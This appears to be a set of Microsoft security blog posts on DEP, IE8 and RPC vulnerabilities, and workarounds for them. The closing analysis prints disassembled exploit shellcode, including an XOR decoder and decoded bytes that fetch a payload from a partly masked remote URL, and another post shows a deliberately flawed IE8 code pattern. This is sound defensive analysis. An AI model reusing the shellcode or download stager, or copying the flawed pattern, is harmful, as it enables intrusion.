We have mentioned DEP in several recent blog posts (1, 2, 3, and 4). This blog post will answer:
This is the first of a two-part blog series on DEP as a mitigation technology.
What is DEP?
DEP or “Data Execution Prevention” is a hardware + software solution for preventing the execution of code from pages of memory that are not explicitly marked as executable. Windows XP SP2, Windows Server 2003 SP1, and later operating systems check if the CPU supports enforcement of the ‘no execute’ or ‘execute disable bit’ for a page of memory.
Before Windows XP SP2, an exploit (“code”) could execute from memory allocated without the execute memory protection constant set. For example, if a page of memory were allocated using the VirtualAlloc() function specifying PAGE_READWRITE, it was still possible to execute code from that page of memory. Starting with Windows XP SP2 and Windows Server 2003 SP1, if the CPU supports the execute disable (XD – Intel CPUs) or no execute (NX – AMD CPUs) bits, any attempts to execute code from a page of memory with a (for example) PAGE_READWRITE memory protection will generate a STATUS_ACCESS_VIOLATION (0xC0000005) access violation exception. For more information on how hardware enforced DEP works please refer to the following article: http://technet.microsoft.com/en-us/library/bb457155.aspx.
DEP is “always on” for 64bit processes on 64bit versions of Windows and it cannot be disabled. The Windows DEP policy can be managed on both a system wide and per-process basis and both approaches will be discussed below. This blog post will apply specifically to 32bit processes running on either a 32bit or 64bit version of Windows.
How robust is DEP?
DEP presents a hurdle to attackers as they attempt to successfully exploit security vulnerabilities. In some cases, it is possible for an attacker to evade DEP by using an exploitation technique such as return-to-libc. DEP by itself is generally not a robust mitigation. DEP is a critical part of the broader set of exploit mitigation technologies that have been developed by Microsoft such as ASLR, SeHOP, SafeSEH, and /GS. These mitigation technologies complement one another; for example DEP’s weaknesses tend to be offset by ASLR and vice versa. DEP and ASLR used together are very difficult to bypass. The known bypasses that exist have been tied to specific application contexts (such as the IE7 and earlier bypass from Mark Dowd and Alex Sotirov).
How do I enable DEP?
If you have hardware that supports DEP and you are running Windows XP SP2 or newer operating system – you are already using DEP to some extent! Hardware enforced DEP can be configured system wide (applying to all processes) or using per-process policies. There are four different ways of enforcing a system wide DEP policy on platforms that support it.
Windows XP SP2 and Windows Server 2003 SP1
This article does a great job explaining how to use the boot.ini or the GUI to configure the memory protection settings on Windows XP SP2 and Windows Server 2003 SP1. Note that configuring the “system wide” DEP policy requires administrative privileges.
Windows Vista and Windows Server 2008
To configure the system-wide DEP policy on Windows Vista and Server 2008, modify the Boot Configuration Database using the bcdedit.exe console application from an elevated command prompt. You can find more information about how to do that here: http://msdn.microsoft.com/en-us/library/aa468629.aspx
Potential application compatibility issues with DEP “Always On”
Setting DEP to always be enabled for all processes may increase the risk of causing application problems due to certain behavior from versions of ATL prior to version 7.1. Older versions of ATL generated machine code at runtime and then attempted to execute this code from pages of memory that were not marked as executable, thus causing a DEP violation if DEP is enabled. If the system-wide setting is “opt-in”, a process known as “ATL thunk emulation” is used to avoid ATL related DEP crashes. “ATL thunk emulation” is not used if DEP is “Always On”. NOTE: When the "Always On" setting is used there are known compatibility issues with Microsoft Office applications when opening documents that contain VBA (Visual Basic for Applications) macros that can lead to DEP related crashes.
How can I tell if a specific process has opted-in or will opt-in to DEP?
The easiest way to tell if a process is currently using DEP is to use Process Explorer and to configure it to show the processes DEP status (View->Select Columns->Process DEP status) as shown below:
To determine why a process uses (or does not use) DEP requires a bit more investigative work. Here are the ways the system could have decided on a process’s DEP state. Each will be explored in more detail later in the blog post.
How Per-Process DEP policy works on Windows XP SP2 & Windows Server 2003 SP1
Windows XP SP2 and Windows Server 2003 SP1 included a heavy emphasis on security. As such, many of the default Windows programs were opted-in to DEP via the Application Compatibility database. To explore which programs opt-in to DEP on Windows XP SP2 or Windows Server 2003 SP1 you can download and install the latest Application Compatibility Toolkit and browse the main system database under the 'Windows Components' subset of applications.
All Windows XP SP2 applications opt-in to DEP if in category “Windows Components” with “AddProcessParametersFlags" compatibility fix applied:
The Windows Server 2003 SP1 default system wide policy is “OptOut”. That means all processes that do not explicitly opt-out will have DEP enabled. If the system-wide policy is changed, an application could still have DEP enabled by using the EnableDEP compatibility fix as shown below:
These compatibility fixes set the PEB's ProcessParameters value to 0x00020000, causing Windows XP SP2 and Windows Server 2003 SP1 to opt a process in to DEP. We found 305 processes opted-in to DEP on Windows XP SP2 and Windows Server 2003 SP1 via the main application compatibility database (%windir%\AppPatch\sysmain.sdb) using this particular compatibility fix. We have attached the list of processes at the bottom of the blog.
New Per-Process DEP options on Windows Vista, Windows Server 2008 and newer operating systems
Microsoft has introduced options on newer operating systems to opt a process in to DEP.
/NXCOMPAT linker switch
On Vista and newer operating systems, processes linked with the /NXCOMPAT option are opted-in to DEP by default. Developers of 3rd party applications that want to take advantage of this mitigation technology can re-link their applications using the Visual C++ 2003 or newer version of the linker by passing in the “/NXCOMPAT” flag. This will cause the linker to emit a binary that declares that it supports DEP via an optional image header field supported on Vista and later operating systems. You can determine whether a process has been linked with the /NXCOMPAT linker switch using dumpbin.exe (which ships with Visual Studio):
C:\Windows\System32>dumpbin /headers dllhost.exeMicrosoft (R) COFF/PE Dumper Version 9.00.21022.08Copyright (C) Microsoft Corporation. All rights reserved.Dump of file dllhost.exePE signature foundFile Type: EXECUTABLE IMAGEFILE HEADER VALUES 8664 machine (x64) 5 number of sections 4549BBFF time date stamp Thu Nov 02 05:35:59 2006 0 file pointer to symbol table 0 number of symbols F0 size of optional header 22 characteristics Executable Application can handle large (>2GB) addressesOPTIONAL HEADER VALUES 20B magic # (PE32+) 8.00 linker version 1400 size of code 1000 size of initialized data 0 size of uninitialized data 1818 entry point (0000000100001818) 1000 base of code 100000000 image base (0000000100000000 to 0000000100006FFF) 1000 section alignment 200 file alignment 6.00 operating system version 6.00 image version 6.00 subsystem version 0 Win32 version 7000 size of image 400 size of headers E1C5 checksum 2 subsystem (Windows GUI) 8140 DLL characteristics Dynamic base NX compatible Terminal Server Aware
Windows Vista and Windows Server 2008 can also force a process to use DEP using the ExecuteOptions registry setting. ExecuteOptions can force a process to use DEP without changing the system-wide policy. Processes opted-in to DEP using the ExecuteOptions registry setting will be DEP-enabled for the life of the process (DEP cannot be turned off via any API calls). Compared to the system-wide Opt-In / Opt-Out approach, this could be seen as a disadvantage as discussed above regarding “ATL thunk emulation” when it comes to application compatibility. “ATL thunk emulation” is not used when a process is forced to use DEP via either the ExecuteOptions registry setting or /NXCOMPAT linker switch. Finally, the Windows Compatibility Database contains a list of DLLs that are known to be incompatible with DEP and when this registry setting is used, since DEP cannot be disabled for the process by the compatibility infrastructure in Windows, DEP related crashes may result if applications attempt to load DLLs that are not compatible with DEP.
Microsoft encourages 3rd party ISVs to support DEP (and other exploit mitigation technologies). The latest versions of Acrobat, Flash, QuickTime, and Sun’s Java runtime (JRE 6 Update 12) all support DEP. For more information on how to avoid ATL related DEP crashes when DEP is enabled for a process, refer to http://support.microsoft.com/kb/948468.
SetProcessDEPPolicy API
Finally, a new way of opting-in to DEP is available on our latest versions of Windows. Windows Vista SP1, Windows Server 2008 and Windows XP SP3 includ the SetProcessDEPPolicy API to allow an application to opt-in to DEP programmatically without /NXCOMPAT or being marked up in the appcompat database or registry. Exposing an API not only makes it easier for developers to opt-in to DEP but when using this API, ATL thunk emulation is performed and processes using older versions of ATL should not crash due to DEP violations. For example, Internet Explorer 8 takes advantage of this new functionality.
In part two of this series, we’ll demonstrate how to change an application’s DEP policy to mitigate a real-world attack.
- Robert Hensing, MSRC Engineering
*Postings are provided "AS IS" with no warranties, and confers no rights.*
In our previous blog post, we explained how DEP works and how to determine if / how a process opted-in to DEP. Now we will demonstrate how DEP can be used to mitigate the risk of a real-world attack.
We published a security advisory in February describing an Excel vulnerability in fully-patched Excel being used in limited targeted attacks. As we noted in the SRD blog, the exploits target Office 2007 running on Windows XP. We will demonstrate now how to opt Excel in to DEP to help mitigate attempts to exploit this vulnerability.
First, why does Excel not opt-in to DEP by default?
If you look at the sysmain.sdb on Windows XP SP2 or the "DLL Characteristics" header value of iexplore.exe (IE 7) or excel.exe (or any Office application) you can see that these processes do not opt-in to DEP by default. Both IE 7 and Office do not opt-in to DEP for the sake of 3rd party extensions and plug-ins that need to run inside IE and Office applications. IE and the Office applications themselves work fine with DEP enabled so if you don’t need to use older 3rd party extensions, you might be able to get away with opting these processes in to DEP.
There are three different ways you could use to opt excel.exe in to DEP:
(*) The system-wide 'AlwaysOn' setting and the ExecuteOptions registry setting do not allow DEP to be disabled for a process once it has been enabled which can lead to a DEP related crash in Office applications if those applications attempt to make use of VBA or macros, therefore the safest option from an application compatibility perspective is to use the Application Compatibility Toolkit to opt a process into DEP, which is discussed in more detail below.
Using the Application Compatibility Toolkit on XP SP2 / Server 2003 SP1 and newer
Creating an entry in the Application Compatibility Database targets only the affected application so you can leave the default system-wide DEP set to "OptIn". This is the most targeted, least risky solution on Windows XP SP2 and Server 2003 SP1 and newer. Detailed information on exactly how to create an AppCompat database for Excel can be found near the bottom of this article on mitigating application compatibility (search for "Enabling DEP for an application").
After following the steps in the above article and supplying the path to EXCEL.EXE in step 2 you should get to a screen that looks like this:
Now an appcompat fix for Excel has been created and if this fix is installed - the AppCompat layer will target processes named EXCEL.EXE that have a file description field containing "Microsoft Office Excel" and a "Company Name" of "Microsoft Corporation". You can add additional matching criteria / attributes or remove those to target all processes named EXCEL.EXE. In our example, this AppCompat fix is saved in c:\temp\enable_DEP_excel.sdb. To deploy this database to a system run "sdbinst.exe –q c:\temp\enable_DEP_excel.sdb" as an administrator. The changes takes effect immediately and can be deployed in an enterprise via SMS or machine startup script.
NOTE: If Excel does not seem to be running with DEP enabled after deploying the SDB, make sure that the Compatibility Administrator was run with the '/x' switch. You will only see the circled 'Parameters' button and be able to enter the appropriate "Command line" value (circled below) if you start the Compatibility Administrator with the /X command line switch. If you didn't do this the first time around, you can right-click on 'Excel.exe' in the right pane of the Compatibility Administrator and choose 'Edit Application Fix' after launching the Compatibility Administrator with the /X command line switch to fix it at any time (as shown below).
If you simply want to enable DEP for your Office applications but don't want to download the Application Compatibility Toolkit - we have created an Application Compatibility Database file that will enable DEP for all of the Office Professional suite of applications. To install this application compatibility database you can click the FixIt4Me button below:
To uninstall the application compatibility database you can click the Fixit4Me button below:
We have also created an application compatibility database that will enable DEP for all versions of Internet Explorer (this is not needed if you are using Internet Explorer 8 on XPSP3 or Vista SP1 or later as IE8 opts-in to DEP by default on these platforms). To install this application compatibility database you can click the Fixit4Me button below:
To uninstall the application compatibility database you can click the Fixit4me button below:
Use the ExecuteOptions registry setting (Windows Vista or Windows Server 2008)
On Windows Vista and Windows Server 2008, there is an easier way. The following registry script run with admin privs will cause Excel to opt-in to DEP without needing to use the AppCompat database though with a slightly higher risk of application compatibility problems if VBA / macros are used in your environment.
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\excel.exe] "ExecuteOptions"=dword:00000000
Demo: DEP & the Excel 0-day vulnerability
With DEP enabled for Excel 2007 running on an unpatched Windows XP SP2 machine, we tried double-clicking one of the malicious XLS files that attempt to exploit the Excel 0-day vulnerability. Without DEP, this results in reliable code execution. After enabling DEP, we expect the exploit to be blocked. Let’s take a look:
Debugging the crash we see that an access violation was raised as soon as the exploit triggered code execution on a non-executable page of memory:
0:000> r Last set context: eax=001363c0 ebx=02f45800 ecx=001363b8 edx=009c2404 esi=02fce05c edi=00000000 eip=001363c0 esp=0013608c ebp=00136374 iopl=0 nv up ei pl zr na pe nc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 0x1363c0: 001363c0 eb1c jmp 0x1363dd (001363de) 0:000> kv *** Stack trace for last set context - .thread/.cxr resets it ChildEBP RetAddr Args to Child WARNING: Frame IP not in any known module. Following frames may be wrong. 00136088 3006853a 02fce05c 0232f204 301f736c 0x1363c0 00136374 303eeb6e 02f45800 fd010008 00010019 EXCEL!Ordinal40+0x6853a 00138658 3019f8b7 00000005 02fc3a28 0013b7b8 EXCEL!Ordinal40+0x3eeb6e 00138704 301a3a4c 00138ed4 0013b7b8 0013b5b4 EXCEL!Ordinal40+0x19f8b7 0013b9d4 301a27a4 0013cd6c 00000826 00000001 EXCEL!Ordinal40+0x1a3a4c 0013dfcc 301a2b85 0013ebf4 00000012 00000000 EXCEL!Ordinal40+0x1a27a4 0013e2a0 301a2ea1 0013ebf4 00000012 00000000 EXCEL!Ordinal40+0x1a2b85 0013e55c 3018c1fa 00000000 0013ebf4 00000012 EXCEL!Ordinal40+0x1a2ea1 0013e580 30030075 0013ebf4 00000012 00000000 EXCEL!Ordinal40+0x18c1fa 0013e7d0 30937c19 00000001 0013ebf4 00000012 EXCEL!Ordinal40+0x30075 0013f890 30d146a6 001a1360 0013f904 00020000 EXCEL!Ordinal40+0x937c19 0013fd38 303ceace 0013fd9c 00000001 000080df EXCEL!LPenHelper+0x12e041 0013fdd8 3002788a 00000000 30f08430 7e418e28 EXCEL!Ordinal40+0x3ceace 0013fec0 30003ae8 00000000 30f08974 00162348 EXCEL!Ordinal40+0x2788a 0013ff30 300037fc 30000000 00000000 00162348 EXCEL!Ordinal40+0x3ae8 0013ffc0 7c817067 0018c28a 00daef68 7ffd6000 EXCEL!Ordinal40+0x37fc 0013fff0 00000000 30002efc 00000000 78746341 kernel32!BaseProcessStart+0x23 (FPO: [Non-Fpo]) 0:000> !vprot 001363c0 BaseAddress: 00129000 AllocationBase: 00040000 AllocationProtect: 00000004 PAGE_READWRITE RegionSize: 00017000 State: 00001000 MEM_COMMIT Protect: 00000004 PAGE_READWRITE Type: 00020000 MEM_PRIVATE 0:000> !analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: tyle+1363bf 001363c0 eb1c jmp 0x1363dd (001363de) EXCEPTION_RECORD: 00135da4 -- (.exr 0x135da4) ExceptionAddress: 001363c0 (0x001363c0) ExceptionCode: c0000005 (Access violation) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000008 Parameter[1]: 001363c0 Attempt to execute non-executable address 001363c0
You can see that the system raised an access violation attempting to execute code from a non-executable (PAGE_READWRITE) address. DEP saves the day!
*Posting is provided "AS IS" with no warranties, and confers no rights.*
Last night we noticed a Windows XP kernel 0day claim in win32k!NtUserConsoleControl posted on baidu.com.
We took a quick look and found that the issue requires administrator privileges to execute. We are still investigating, looking for any chance of privilege escalation but so far it looks like a reliability issue, not a security vulnerability.
And remember, the Administrator to SYSTEM “escalation” is not a security boundary we defend – it is impossible to defend Windows from an administrator armed with a malicious EXE. In the end, you’ve got to trust your administrators. (see Immutable Law of Security #6)
Just wanted to write a quick note to prevent you all from worrying about this one.
- Jonathan Ness, MSRC Engineering
Benefits of IE Protected Mode
One of the vulnerabilities addressed in MS09-019, CVE-2009-1140, involves navigating to a local file via a UNC path, ex: \\127.0.0.1\c$. This roundabout way of navigating to a file is necessary to execute local content such that it runs in the Internet Explorer Internet zone, where scripting is enabled.
As it turns out, versions of IE that are running with the Protected Mode feature turned on are protected against this attack. The reason for this is that with Protected Mode on IE runs with lower privileges and loses access to many resources. This includes the ability to access the loopback SMB shares. Since this attack requires that the user be able to access index.dat over a loopback SMB share, this means that the attack cannot be carried out. Of course it should be noted that machines with either Protected Mode IE turned off OR UAC turned off are still vulnerable to this.
Often when we look at the benefits of Protected Mode IE, we look at its impact on native code running within the browser process. In this case we can see a benefit from the Protected Mode mitigation which is often overlooked. Specifically, the restrictions on resource access in Protected Mode IE can serve to thwart script-based attacks.
Protected Mode can be configured in Internet Explorer's Internet Options dialog. To configure Protected Mode, click the Security tab, select a Web content zone, and then change the "Enable Protected Mode" check box. By default, Protected Mode is enabled for the Internet, Intranet, and Restricted Sites zones. To verify that Internet Explorer is running in Protected mode, look for the words "Protected Mode: On" next to the Web content zone displayed in Internet Explorer's status bar.
To enable Protected Mode, you also need to ensure that Vista UAC is enabled, as described here: http://support.microsoft.com/kb/969417. By default, UAC is enabled.
More information on Protected Mode IE is available here: http://msdn.microsoft.com/en-us/library/bb250462.aspx
Additional Network Protocol Lockdown Workaround
We have identified an additional workaround leveraging Internet Explorer Network Protocol Lockdown. Internet Explorer can be configured to lock down HTML content from particular network protocols. This feature allows an administrator to extend the same restrictions of the Local Machine Zone Lockdown (http://technet.microsoft.com/en-us/library/cc782928.aspx) to be applied to any content on any arbitrary protocol in any security zone.
Warning If you use Registry Editor incorrectly, you may cause serious problems that may require you to reinstall your operating system. Microsoft cannot guarantee that you can solve problems that result from using Registry Editor incorrectly. Use Registry Editor at your own risk.
To lockdown the “file” protocol, paste the following text in a text editor such as Notepad. Then, save the file by using the .reg file name extension.
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_PROTOCOL_LOCKDOWN] "explorer.exe"=dword:00000001 "iexplore.exe"=dword:00000001 "*"=dword:00000001 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols] [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\1] "file"="file" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\3] "file"="file" [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols\4] "file"="file"
You can apply this .reg file to individual systems by double-clicking it. You can also apply it across domains by using Group Policy. For more information about Group Policy, visit the following Microsoft Web sites:
Impact of workaround: HTML content from UNC paths in the Internet / Local Intranet / Restricted zones will no longer automatically run script or ActiveX controls.
How to undo the workaround: To reverse this workaround, paste the following text in a text editor such as Notepad. Then, save the file by using the .reg file name extension.
Windows Registry Editor Version 5.00 [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_PROTOCOL_LOCKDOWN] "explorer.exe"=dword:00000000 "iexplore.exe"=dword:00000000 [-HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\RestrictedProtocols]
You can apply this .reg file to individual systems by double-clicking it. You can also apply it across domains by using Group Policy.
- David Ross, MSRC Engineering
IE8 behavior notes
MS09-019 contains the fix for the IE8 vulnerability responsibly disclosed by Nils at the CanSecWest pwn2own competition (CVE-2009-1532).
Nils exploited this vulnerability on an IE8 build that did allow .NET assemblies to load in the Internet Zone. The final, released build of IE8 does not allow .Net assemblies to load in the Internet Zone. IE8’s behavior around .NET assemblies is significant because the Dowd/Sotirov ASLR+DEP bypass [DowdSotirov08] required .NET to place shellcode at a known location with correct page permissions. We posted a blog entry about this bypass in March.
We do not expect to see this vulnerability exploited in the wild on Vista or above because (a) the released build of IE8 does not allow .NET assemblies to load from the Internet Zone, and (b) IE8 has DEP enabled by default.
You can change IE8’s behavior around loading .NET assemblies in different zones. By default, they are not allowed to load in the Internet Zone but they are allowed in the Intranet Zone. If you’d like to disable .NET assemblies in the Intranet Zone, set this regkey to 3 (disabled):
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\1\2005
If you’d like to allow IE8 to load .NET assemblies in the Internet Zone, you can change this regkey to 0 (enabled):
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3\2005
As discussed above, if you need to re-enable IE8 loading .NET assemblies in the Internet Zone, we encourage you to do so only as a short term workaround due to the attack surface it exposes. If you use applications that require .NET in the Internet Zone, we recommend that you migrate them to either ClickOnce deployment or the Windows Presentation Foundation (WPF).
The root cause of this vulnerability was the use of an object after deleting it (EIP is pointing to heap). Due to a failure to check an error code we end up calling this already freed object.
Vulnerability notes
The root cause of this vulnerability was the use of an object after deleting it (EIP is pointing to heap). Due to a failure to check an error code we end up calling this already freed object. Let’s focus on the following snipped of code to understand the error code check failure:
HRESULT CElementCollectionBase::VersionedGetDispID(BSTR bstrName, DWORD grfdex, __out DISPID *pdispidMember, __in IUnknown *pUnkContext, OMVersion version, OMVersionFlag versionFlags, __in PFNGETDISPID *pfnTearoffGetDispID) { HRESULT hr = S_OK; if (!SecurityContextAllowsAccess()) return E_ACCESSDENIED; hr = THR(_pCollectionCache->EnsureAry(_lIndex)); -- hr will be FALSE due to various reasons and since the object is not available -- please note S_FALSE = 1 and FALSE = 0 if (hr) -- However we check if it is S_FALSE=1 goto Cleanup; -- and we continue without going directly to the cleanup section hr = DispatchGetDispIDCollection(this, NULL, _pCollectionCache, _lIndex, bstrName, grfdex, pdispidMember); // we pass in NULL to the above and then handle this ourselves in a versioned fashion. if ( hr || (!hr && *pdispidMember == DISPID_UNKNOWN) ) { hr = super::VersionedGetDispID(bstrName, grfdex, pdispidMember, pUnkContext, version, versionFlags, NULL); } Cleanup: RRETURN(hr); }
IE7 returns S_FALSE (1) instead of FALSE (0) on the above call when the object is no longer available. With S_FALSE IE7 correctly goes into the cleanup code without referencing this already deleted object so it is not affected.
In order to clean the area for similar issues, we developed some static analysis tools to detect this kind of error check failures (S_FALSE != FALSE). These analysis tools are going to be included in future security testing stages on the next versions of different products so we do not make the same mistake again.
Reference: [DowdSotirov08] Bypassing browser memory protections in Windows Vista, Alexander Sotirov and Mark Dowd
Fermin J. Serna and Chengyun, MSRC Engineering
Today, we released MS09-023, a bulletin for Windows Search 4.0. It is an information disclosure vulnerability rated as Moderate. We would like to go into more details in this blog to help you understand:
What is the attack vector?
The vulnerability in Windows Search allows script in HTML files to be executed without a prompt.
A typical attack scenario would be as follows:
Why is this vulnerability rated as Moderate?
As shown above, significant user interactions are required in order for exploitation to occur. Also, Windows Search is an optional component which is not installed on the default configuration. That’s why we rated this vulnerability as Moderate instead of Important.
What is the risk of MSHTML hosting apps?
Windows Search uses MSHTML, a.k.a. Trident, the Internet Explorer browser rendering engine, for rendering HTML content. While this is a great solution to display rich user interface in an application, it is necessary to understand that MSHTML hosting can raise the attack surface of the hosting application, as illustrated by this vulnerability in Windows Search, if the hosting isn’t done correctly. David Ross has done a wonderful SRD blog about this topic. Please refer to “The MSHTML Host Security FAQ: Part I of II” and “The MSHTML Host Security FAQ: Part II of II” for more details.
- Chengyun, MSRC Engineering
Today we released bulletin MS09-024 that fixes vulnerabilities in text converters for the Microsoft Works document file format (WPS).
Reduced impact if Microsoft Office is installed
The Works converters included with Microsoft Word are vulnerable. However, the Microsoft Word installer does not associate the WPS file extension with Word. So a user double-clicking a WPS file attachment for the first time would see the following dialog:
The vulnerable Works document file format converter would only be loaded if a user selects Microsoft Word using the "Select the program from a list" option or if a user had previously selected Word to be the default editor for WPS files. If a user were to open the WPS file from the Microsoft Word interface using "File" -> "Open", this prompt would not appear. Howevever, the "Workarounds" section of the MS09-024 security bulletin describes how to disable access to the converter completely.
Summary
You may be at reduced risk to the vulnerabilities addressed by the MS09-024 update if you have installed Microsoft Word and have not associated the WPS file format with Microsoft Word.
Update June 10: The vulnerable code is not reachable by a WPS renamed to use a DOC file extension.
- Greg Wroblewski, MSRC Engineering
Today we are releasing MS09-026 which fixes a vulnerability in the Microsoft Windows RPC (Remote Procedure Call) NDR20 marshalling engine. This component is responsible for preparing data to be sent over the network and then translating it back to what the server or client application uses. NDR20 is specific to 32-bit applications that use RPC to transfer data. RPC's NDR64 marshalling engine is used for 64-bit applications.
This bug in NDR20 only impacts applications which utilize a specific style of structure when defining the RPC interface they use to communicate. The specific style of structure is a non-conformant varying array. More information can be found at http://msdn.microsoft.com/en-us/library/aa373542(VS.85).aspx. Note that this style of structure is uncommon. It is not used by any RPC interface that ships with any supported version of Windows. However, we are still providing a fix as it is a supported style of structure and may be in use somewhere.
So how can a developer know if an RPC interface is affected? The bulletin's FAQ states the following.
These code definitions, FC_SMVARRAY, FC_LGVARRAY, FC_VARIABLE_REPEAT, and FC_VARIABLE_OFFSET, are used in the RPC client and server stubs that are generated at compile time when midl.exe compiles the RPC interface's IDL file, specifically when using the /Oicf switch (http://msdn.microsoft.com/en-us/library/aa367352(VS.85).aspx). Other switches, which are defined in the previous link, also exist. These will generate different formats for the stubs so if in doubt make sure you are using the /Oicf switch.
Using what the bulletin has stated, a developer can examine the *_c.c or *_s.c stubs generated from the IDL with the following steps:
Here is an example MIDL_TYPE_FORMAT_STRING that would be affected by this issue.
static const repro_MIDL_TYPE_FORMAT_STRING repro__MIDL_TypeFormatString = { 0, { NdrFcShort( 0x0 ), /* 0 */ /* 2 */ 0x12, 0x8, /* FC_UP [simple_pointer] */ /* 4 */ 0x8, /* FC_LONG */ 0x5c, /* FC_PAD */ /* 6 */ 0x16, /* FC_PSTRUCT */ … 0x1f, /* FC_SMVARRAY */ 0x3, /* 3 */ /* 40 */ NdrFcShort( 0x3c ), /* 60 */ /* 42 */ NdrFcShort( 0x5 ), /* 5 */ /* 44 */ NdrFcShort( 0xc ), /* 12 */ /* 46 */ 0x28, /* Corr desc: parameter, FC_LONG */ 0x0, /* */ /* 48 */ NdrFcShort( 0x0 ), /* x86 Stack size/offset = 0 */ /* 50 */ NdrFcShort( 0x1 ), /* Corr flags: early, */ /* 52 */ 0x4b, /* FC_PP */ 0x5c, /* FC_PAD */ /* 54 */ 0x48, /* FC_VARIABLE_REPEAT */ 0x4a, /* FC_VARIABLE_OFFSET */ /* 56 */ NdrFcShort( 0xc ), /* 12 */ /* 58 */ NdrFcShort( 0x0 ), /* 0 */ … /* 74 */ 0x12, 0x10, /* FC_UP [pointer_deref] */ /* 76 */ NdrFcShort( 0xffb6 ), /* Offset= -74 (2) */ /* 78 */ 0x5b, /* FC_END */
Additionally, developers can examine their IDL directly and get an idea if their interface is affected. For affected interfaces, a definition like below will exist, where an array of non-fixed sized structures, shown in blue below, is passed. Notice that the array in green is a varying array (http://msdn.microsoft.com/en-us/library/aa379375(VS.85).aspx) because of it's fixed size but varying number elements contained within.
interface foo { typedef struct { int a; int **pp; char *buf; } test; void bar([in] int count, [out, length_is(count)] test r[7]); }
Developers with affected RPC interfaces should strongly encourage their customers to install this patch, especially if the RPC interface is anonymous.
- Nick Finco and Bruce Dang, MSRC Engineering
Below is the beginning of the call-to-self GetPC in the shellcode:
0:016> u 010cf4fa 010cf4fa e8ffffffff call 010cf4fe ; call to self 010cf4ff c25f8d ret 8D5Fh 010cf502 4f dec edi 0:016> u 010cf4fe 010cf4fe ffc2 inc edx 010cf500 5f pop edi ; edi = 010cf4ff
Then an XOR decoder is used:
010cf501 8d4f10 lea ecx,[edi+10h] ; ecx = 010cf50f 010cf504 8031c4 xor byte ptr [ecx],0C4h 010cf507 41 inc ecx 010cf508 6681394d53 cmp word ptr [ecx],534Dh 010cf50d 75f5 jne 010cf504 010cf50f 38aec69da04f cmp byte ptr [esi+4FA09DC6h],ch ; encoded, disassembles to garbage 010cf515 85ea test edx,ebp 010cf517 4f dec edi 010cf518 84c8 test al,cl 010cf51a 4f dec edi 010cf51b 84d8 test al,bl 010cf51d 4f dec edi 010cf51e c44f9c les ecx,fword ptr [edi-64h] 010cf521 cc int 3 010cf522 49 dec ecx 010cf523 7365 jae 010cf58a 010cf525 c4 ??? 010cf526 c4 ???
In order to decode the payload and further analyze the shellcode we could save the bytes in an external file, load the file in an application such as IDA Pro, and then run a decoder script over the bytes. This is a fairly tedious process. The MSEC debugger extension provides an alternative solution in the form of built-in decoding utilities that can help to expedite this task. One of these commands is xoru:
0:016> !msec.xoru Usage : !xoru [-b] address [len] key Example: !xoru eax 64 DD Example: !xoru -b eax 64 DD (Leave the transformed buffer in memory) Example: !xoru 0x00123456 DD (using default length = 256)
0:016> !msec.xoru 010cf50f c4 0x010cf50f FC 6A 02 59 64 8B 41 2E 8B 40 0C 8B 40 1C 8B 00 8B .j.Yd.A..@..@.... 0x010cf520 58 08 8D B7 A1 00 00 00 E8 29 00 00 00 50 E2 F8 8B X........)...P... 0x010cf531 FC 56 FF 17 93 83 C6 07 E8 18 00 00 00 33 D2 52 52 .V...........3.RR 0x010cf542 8B CC 66 C7 01 78 2E 51 FF 77 04 52 52 51 56 52 FF ..f..x.Q.w.RRQVR. 0x010cf553 37 FF E0 AD 51 56 95 8B 4B 3C 8B 4C 0B 78 03 CB 33 7...QV..K<.L.x..3 0x010cf564 F6 8D 14 B3 03 51 20 8B 12 03 D3 0F 00 C0 0F BF C0 .....Q .......... 0x010cf575 C1 C0 07 32 02 42 80 3A 00 75 F5 3B C5 74 06 46 3B ...2.B.:.u.;.t.F; 0x010cf586 71 18 72 DB 8B 51 24 03 D3 0F B7 14 72 8B 41 1C 03 q.r..Q$.....r.A.. 0x010cf597 C3 8B 04 90 03 C3 5E 59 C3 60 A2 8A 76 26 80 AC C8 ......^Y.`..v&... 0x010cf5a8 75 72 6C 6D 6F 6E 00 99 23 5D D9 68 74 74 70 3A 2F urlmon..#].http:/ 0x010cf5b9 2F xx xx 2E 32 33 2E xx xx xx 2E xx xx xx 3A 33 38 /xx.23.xxx.xxx:38 0x010cf5ca 31 38 2F 6D 79 6B 75 00 89 97 8C B5 A8 A8 B4 97 82 18/myku.......... 0x010cf5db 92 A6 93 94 AF BE 87 A1 AD 8F A8 89 8D B6 8D AD 9D ................. 0x010cf5ec 97 B4 8D 94 89 B2 BD BD B6 B4 BE AC A9 91 8C 80 91 ................. 0x010cf5fd 95 AA A6 96 89 93 87 8E 93 AD 9E 97 9D 8B A8 B1 A8 ................. 0x010cf60e B2 010cf50f fc cld 010cf510 6a02 push 2 010cf512 59 pop ecx 010cf513 648b412e mov eax,dword ptr fs:[ecx+2Eh] 010cf517 8b400c mov eax,dword ptr [eax+0Ch] 010cf51a 8b401c mov eax,dword ptr [eax+1Ch] 010cf51d 8b00 mov eax,dword ptr [eax] 010cf51f 8b5808 mov ebx,dword ptr [eax+8] 010cf522 8db7a1000000 lea esi,[edi+0A1h] 010cf528 e829000000 call 010cf556 010cf52d 50 push eax 010cf52e e2f8 loop 010cf528 010cf530 